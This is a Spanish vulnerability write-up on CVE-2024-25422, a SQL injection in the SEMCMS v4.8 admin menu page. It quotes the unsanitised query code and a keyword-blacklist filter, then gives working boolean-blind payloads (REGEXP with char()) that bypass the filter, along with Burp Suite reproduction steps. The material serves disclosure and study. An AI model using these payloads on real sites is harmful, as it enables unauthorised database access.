
semcms tiene inyección SQL (CVE-2024-25422)
Introducción a Semcms
SEMCMS es un sistema de gestión de contenidos (CMS) para sitios web de comercio exterior que admite múltiples idiomas.
v4.8 Download Link: http://www.sem-cms.com/TradeCmsdown/php/semcms_php_4.8.zip
Causas de las vulnerabilidades:
/xcR45q_Admin/SEMCMS_Menu.php Línea 66
Código de la vulnerabilidad:
<?php
} elseif ($type == "edit") {
$row = mysqli_fetch_array($db_conn->query("SELECT * FROM sc_menu WHERE ID=" . $_GET["ID"]));
?>
Se puede ver que aquí el ID ejecutará una sentencia SQL cuando se pasen parámetros a través de GET.
Código de filtro en /Include/contorl. PHP
Línea 151
function test_input($data) {
//$data = str_replace("%", "percent", $data);
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data,*ENT_QUOTES*);
return $data;
}
Y la línea 8
function inject_check_sql($sql_str) {
return preg_match('/select|and|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str);
}
function verify_str($str) {
if(inject_check_sql($str)) {
exit('Sorry,You do this is wrong! (.-.)');
}
return $str;
}
Al filtrar el contenido anterior, podemos construir un payload
-1%20or%20length(database())%20REGEXP%20char(94,53,36)
Reproducción de las vulnerabilidades
Visite un sitio web
http://url/xcR45q_Admin/SEMCMS_Menu.php
Captura de paquetes con Brupsuite. Dado que la longitud del nombre de la base de datos es 5 al crear un nuevo sitio, el payload se construye como
-1%20or%20length(database())%20REGEXP%20char(94,53,36)
(Determinar si la longitud del nombre de la base de datos es 5)
Inserte el payload para ver el echo

Cambie el payload en este momento
-1%20or%20length(database())%20REGEXP%20char(94,54,36)
(Determinar si la longitud del nombre de la base de datos es 6)
Cambie el payload en este momento

La inyección SQL puede continuar basándose en los cambios en la página en el futuro.